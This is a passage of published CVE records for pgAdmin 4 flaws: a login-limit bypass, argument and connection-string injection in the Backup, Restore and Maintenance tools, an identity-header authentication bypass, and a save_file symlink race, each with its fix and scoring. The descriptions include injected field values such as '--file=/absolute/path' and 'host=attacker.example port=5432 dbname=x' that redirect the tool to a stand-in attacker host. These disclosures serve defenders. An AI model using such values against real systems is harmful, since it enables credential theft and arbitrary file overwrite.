back to an authentication source that does not check it, and locks only internal authentication. Password resets and the About box act only on the user\u0027s own internal account. Desktop mode is not affected.\n\nThis issue affects pgAdmin 4: before 9.19."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Scored for the worst variant, which needs no account and no special configuration: unlimited password guesses against an internal account, including the administrator\u0027s, through Flask-Security\u0027s own login view or a username typed in another case. Attack Complexity is High because success still depends on guessing the account\u0027s password. A guessed account gives that account\u0027s access to pgAdmin, so Confidentiality, Integrity and Availability are High (an administrator can create, change and delete users). Scope is Unchanged: the flaw removes the limit on guesses; any impact beyond pgAdmin follows only from a password the attacker has guessed."
}
]
},
{
"cvssV4_0": {
"baseScore": 9.2,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry. AC:H and AT:P because success depends on guessing a password. VC:H/VI:H/VA:H for the guessed pgAdmin account; no subsequent-system impact is claimed."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-307",
"description": "CWE-307 Improper Restriction of Excessive Authentication Attempts",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-863",
"description": "CWE-863 Incorrect Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-30T19:55:11.056Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10676"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/58c531d831179dc9b0a5bf873ccb80c71c8d387a"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/35c9235d17a7d5a99778f01b2f1b9e5e3a3b7fde"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/c6ef41a951012cd877a1992b5dac681eec36e48d"
}
],
"source": {
"discovery": "INTERNAL"
},
"title": "pgAdmin 4: The failed login limit can be bypassed, and Flask-Security\u0027s own views skip pgAdmin\u0027s login and password checks"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-116238",
"datePublished": "2026-10-30T19:55:11.056Z",
"dateReserved": "2026-10-25T16:26:16.419Z",
"dateUpdated": "2026-10-30T19:55:11.056Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-86864 (GCVE-0-2026-86864)
Vulnerability from cvelistv5
Published
2026-09-17 15:31
Modified
2026-09-17 16:00
Severity ?
8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.7 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
8.7 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
VLAI Severity ?
EPSS score ?
CWE
Summary
pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further.
The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role.
The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value.
This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 0 < 9.18 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-86864",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-17T15:59:44.950479Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-17T16:00:02.215Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Backup"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/tools/backup/__init__.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.18",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Sanghyeon Lee (@h9e0n, https://github.com/isanghyeon)"
},
{
"lang": "en",
"type": "finder",
"value": "Hitesh Jambhale \u003chitesh.jambhale@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Hitesh Jambhale \u003chitesh.jambhale@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Kundan Sable \u003ckundan.sable@enterprisedb.com\u003e"
}
],
"descriptions": [
{
"lang": "en",
"value": "pgAdmin 4\u0027s Backup tool appended the client-supplied \u0027database\u0027 field from the /backup/job/\u003csid\u003e/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user\u0027s File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin\u0027s own configuration database and, depending on the target chosen, be escalated further.\n\nThe same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as \u0027host=attacker.example port=5432 dbname=x\u0027 redirected pg_dump to a server of the attacker\u0027s choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role.\n\nThe fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value.\n\nThis issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Threat model: an authenticated pgAdmin user holding the tools_backup permission, which the default User role grants, and with a connected server. Submitting a crafted \u0027database\u0027 value is a single ordinary request requiring no victim interaction, so Attack Complexity is Low and User Interaction is None. Integrity and Availability are High because the attacker obtains arbitrary file creation and overwrite as the account running pgAdmin, which includes pgAdmin\u0027s own configuration database. Confidentiality is High because the connection-string variant delivers the decrypted stored database password to an endpoint the attacker selects; this is most significant where the password is supplied by a password execution command and is therefore never known to the user. Scope is Unchanged: the writes and the credential are performed with, and belong to, the authority pgAdmin already holds, and no direct code execution is demonstrated, which is why this is scored below an equivalent flaw yielding command execution outright."
}
]
},
{
"cvssV4_0": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry: a low-privilege authenticated user achieves arbitrary file write as the pgAdmin operating-system account and can redirect the utility connection to capture the stored database credential. VC:H/VI:H/VA:H reflect credential disclosure, arbitrary overwrite, and destruction of pgAdmin\u0027s own data. SC:N/SI:N/SA:N because the consequences remain within the authority pgAdmin already exercises."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-88",
"description": "CWE-88 Improper Neutralization of Argument Delimiters in a Command (\u0027Argument Injection\u0027)",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-22",
"description": "CWE-22 Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-17T15:31:00.492Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10384"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "pgAdmin 4: Argument and connection-string injection via the database field in the Backup tool"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-86864",
"datePublished": "2026-09-17T15:31:00.492Z",
"dateReserved": "2026-09-08T15:47:05.996Z",
"dateUpdated": "2026-09-17T16:00:02.215Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-86863 (GCVE-0-2026-86863)
Vulnerability from cvelistv5
Published
2026-09-17 15:30
Modified
2026-09-17 16:01
Severity ?
9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
9.3 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
VLAI Severity ?
EPSS score ?
CWE
Summary
pgAdmin 4's Webserver authentication source is intended to accept an identity asserted by the web server or reverse proxy in front of pgAdmin, delivered through the WSGI/CGI environment. WebserverAuthentication.get_user() read config.WEBSERVER_REMOTE_USER from request.environ and, when that returned nothing, fell back to reading the same name directly from the inbound HTTP request headers via request.headers.get(). An inbound HTTP header is written by whoever sends the request, so any client able to reach pgAdmin could supply that header itself and be authenticated as any username it named, including an existing Administrator, without presenting a password or any other credential. The environment lookup could also be satisfied by a client-supplied header whenever WEBSERVER_REMOTE_USER was configured to an HTTP_-prefixed or hyphenated name such as HTTP_X_FORWARDED_USER or X-Forwarded-User, since WSGI servers place inbound headers into the environment under exactly those names. Deployments are affected only when 'webserver' is enabled in AUTHENTICATION_SOURCES.
The fix distinguishes a genuine CGI/WSGI variable from a header-derived one and implicitly trusts only the former. A header-asserted identity is now accepted only when the operator explicitly opts in via WEBSERVER_REMOTE_USER_FROM_HEADER, the request arrives from a peer listed in WEBSERVER_TRUSTED_PROXIES, and, when configured, a shared secret supplied in WEBSERVER_SHARED_SECRET_HEADER matches WEBSERVER_SHARED_SECRET under a constant-time comparison. The trusted-peer check deliberately reads the real socket peer address rather than request.remote_addr, because ProxyFix rewrites the latter from the client-controlled X-Forwarded-For header and would otherwise allow an attacker to claim to be the trusted proxy. As defence in depth, login() now refuses any account whose auth_source is not 'webserver', so a misconfigured trust gate cannot be used to assume an internal or LDAP account.
This issue affects pgAdmin 4: from 6.2 before 9.18.
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 6.2 < 9.18 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-86863",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-17T16:01:07.262408Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-17T16:01:16.146Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Authentication"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/authenticate/webserver.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.18",
"status": "affected",
"version": "6.2",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Sanghyeon Lee (@h9e0n, https://github.com/isanghyeon)"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Kundan Sable \u003ckundan.sable@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Hitesh Jambhale \u003chitesh.jambhale@enterprisedb.com\u003e"
}
],
"descriptions": [
{
"lang": "en",
"value": "pgAdmin 4\u0027s Webserver authentication source is intended to accept an identity asserted by the web server or reverse proxy in front of pgAdmin, delivered through the WSGI/CGI environment. WebserverAuthentication.get_user() read config.WEBSERVER_REMOTE_USER from request.environ and, when that returned nothing, fell back to reading the same name directly from the inbound HTTP request headers via request.headers.get(). An inbound HTTP header is written by whoever sends the request, so any client able to reach pgAdmin could supply that header itself and be authenticated as any username it named, including an existing Administrator, without presenting a password or any other credential. The environment lookup could also be satisfied by a client-supplied header whenever WEBSERVER_REMOTE_USER was configured to an HTTP_-prefixed or hyphenated name such as HTTP_X_FORWARDED_USER or X-Forwarded-User, since WSGI servers place inbound headers into the environment under exactly those names. Deployments are affected only when \u0027webserver\u0027 is enabled in AUTHENTICATION_SOURCES.\n\nThe fix distinguishes a genuine CGI/WSGI variable from a header-derived one and implicitly trusts only the former. A header-asserted identity is now accepted only when the operator explicitly opts in via WEBSERVER_REMOTE_USER_FROM_HEADER, the request arrives from a peer listed in WEBSERVER_TRUSTED_PROXIES, and, when configured, a shared secret supplied in WEBSERVER_SHARED_SECRET_HEADER matches WEBSERVER_SHARED_SECRET under a constant-time comparison. The trusted-peer check deliberately reads the real socket peer address rather than request.remote_addr, because ProxyFix rewrites the latter from the client-controlled X-Forwarded-For header and would otherwise allow an attacker to claim to be the trusted proxy. As defence in depth, login() now refuses any account whose auth_source is not \u0027webserver\u0027, so a misconfigured trust gate cannot be used to assume an internal or LDAP account.\n\nThis issue affects pgAdmin 4: from 6.2 before 9.18."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Threat model: any unauthenticated client able to reach the pgAdmin login endpoint in a deployment that has \u0027webserver\u0027 enabled in AUTHENTICATION_SOURCES. The attack is a single HTTP request carrying an additional header, so Attack Complexity is Low, Privileges Required is None, and no victim interaction is involved. Confidentiality, Integrity and Availability are all High because the attacker may name an existing Administrator and thereby obtain full control of the pgAdmin installation, including every server definition and stored credential it holds. Scope is Unchanged: although the attacker impersonates another principal, everything compromised is governed by pgAdmin\u0027s own security authority. The configuration precondition (Webserver authentication enabled) is a deployment property rather than an attacker-facing barrier, so it is not modelled as Attack Complexity; the score describes the vulnerable configuration."
}
]
},
{
"cvssV4_0": {
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry: an unauthenticated attacker asserts an arbitrary identity, including Administrator, with one crafted request and no user interaction. VC:H/VI:H/VA:H because full control of the pgAdmin instance follows directly. SC:N/SI:N/SA:N because the impact is bounded by pgAdmin\u0027s own authority; any onward effect on database servers follows from credentials pgAdmin already held rather than from a distinct subsequent system being compromised by this flaw itself."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-290",
"description": "CWE-290 Authentication Bypass by Spoofing",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-807",
"description": "CWE-807 Reliance on Untrusted Inputs in a Security Decision",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-17T15:30:58.077Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10383"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "pgAdmin 4: Authentication bypass via a client-controlled identity header in Webserver authentication mode"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-86863",
"datePublished": "2026-09-17T15:30:58.077Z",
"dateReserved": "2026-09-08T15:47:05.445Z",
"dateUpdated": "2026-09-17T16:01:16.146Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-86862 (GCVE-0-2026-86862)
Vulnerability from cvelistv5
Published
2026-09-17 15:30
Modified
2026-09-17 16:02
Severity ?
6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
7.1 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
7.1 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
VLAI Severity ?
EPSS score ?
CWE
Summary
pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user.
The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed.
The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment.
This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 0 < 9.18 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-86862",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-17T16:02:00.952678Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-17T16:02:27.894Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Restore",
"Maintenance"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/tools/restore/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/tools/maintenance/__init__.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.18",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Hitesh Jambhale \u003chitesh.jambhale@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Hitesh Jambhale \u003chitesh.jambhale@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Kundan Sable \u003ckundan.sable@enterprisedb.com\u003e"
}
],
"descriptions": [
{
"lang": "en",
"value": "pgAdmin 4\u0027s Restore and Maintenance tools passed the client-supplied \u0027database\u0027 field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as \u0027host=attacker.example port=5432 dbname=x\u0027 therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user.\n\nThe behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed.\n\nThe fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment.\n\nThis issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Threat model: an authenticated pgAdmin user holding the tools_restore or tools_maintenance permission, granted by the default User role, with a connected server. A single ordinary request suffices and no victim interaction is required, so Attack Complexity is Low and User Interaction is None. Confidentiality is High because the decrypted stored database password is delivered to an endpoint the attacker selects; this matters most where the password originates from a password execution command and is therefore never known to the user, and secondarily because outbound connections from the pgAdmin host disclose the reachability of internal network addresses. Integrity and Availability are None: nothing within pgAdmin is modified or denied by the redirection itself. Scope is Unchanged, following the project\u0027s treatment of stored server credentials, since under pgAdmin\u0027s shared-server model each user supplies their own database password and the credential exposed is ordinarily their own rather than another principal\u0027s."
}
]
},
{
"cvssV4_0": {
"baseScore": 7.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry: a low-privilege authenticated user redirects a utility connection and captures the stored database credential. VC:H for the credential disclosure; VI:N/VA:N because nothing is altered or denied within pgAdmin. SC:N/SI:N/SA:N because no distinct subsequent system is compromised by the flaw itself. Note that CVSS 4.0 scores a confidentiality-only outcome of this shape higher than CVSS 3.1 does; both values are the calculated results for their respective vectors."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-88",
"description": "CWE-88 Improper Neutralization of Argument Delimiters in a Command (\u0027Argument Injection\u0027)",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-522",
"description": "CWE-522 Insufficiently Protected Credentials",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-918",
"description": "CWE-918 Server-Side Request Forgery (SSRF)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-17T15:30:56.175Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10388"
}
],
"source": {
"discovery": "INTERNAL"
},
"title": "pgAdmin 4: Connection-string injection via the database field in the Restore and Maintenance tools"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-86862",
"datePublished": "2026-09-17T15:30:56.175Z",
"dateReserved": "2026-09-08T15:47:04.819Z",
"dateUpdated": "2026-09-17T16:02:27.894Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-86861 (GCVE-0-2026-86861)
Vulnerability from cvelistv5
Published
2026-09-17 15:30
Modified
2026-09-17 19:18
Severity ?
5.9 (Medium) - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L
6.0 (Medium) - CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N
6.0 (Medium) - CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N
VLAI Severity ?
EPSS score ?
CWE
Summary
pgAdmin 4's File Manager save_file endpoint, which backs saving from the Query Tool and ERD, validated the requested path with Filemanager.check_access_permission() and then opened the file for writing with a plain open() call. CVE-2026-7819 had previously hardened the separate file upload path by opening its target with O_NOFOLLOW, so that the kernel refuses to follow a symbolic link at the final path component, but save_file was left on an unprotected open(). A symbolic link already present when the check ran was rejected by the check itself; the remaining exposure was a link substituted at the final path component in the interval between the check and the write, at which point the write followed the link and landed outside the user's storage directory, creating or overwriting an arbitrary file as the operating-system account running pgAdmin.
Exploitation requires the ability to create or replace a symbolic link inside the requesting user's storage directory. pgAdmin exposes no interface that creates symbolic links, so this requires filesystem access to the pgAdmin host or to a shared or network-mounted storage backend, together with winning the timing window. The reporter did not achieve a write against a released version, having attempted approximately 63,000 racing requests without success; the reported defect is the uncovered write path rather than a demonstrated sandbox escape.
The fix routes save_file's write through the same O_NOFOLLOW-protected helper already used by the upload path, so both File Manager write sinks carry identical kernel-enforced protection, and reports a symbolic-link refusal explicitly instead of surfacing the underlying system error text. Note that files created by save_file are now given mode 0600, inheriting the behaviour introduced for uploads. The protection covers the final path component; substitution of an intermediate directory component is not addressed by this change.
This issue affects pgAdmin 4: from the introduction of the containment check in the File Manager save path before 9.18.
References
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 0 < 9.18 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-86861",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-17T19:18:06.282518Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-17T19:18:18.115Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"File Manager"
],
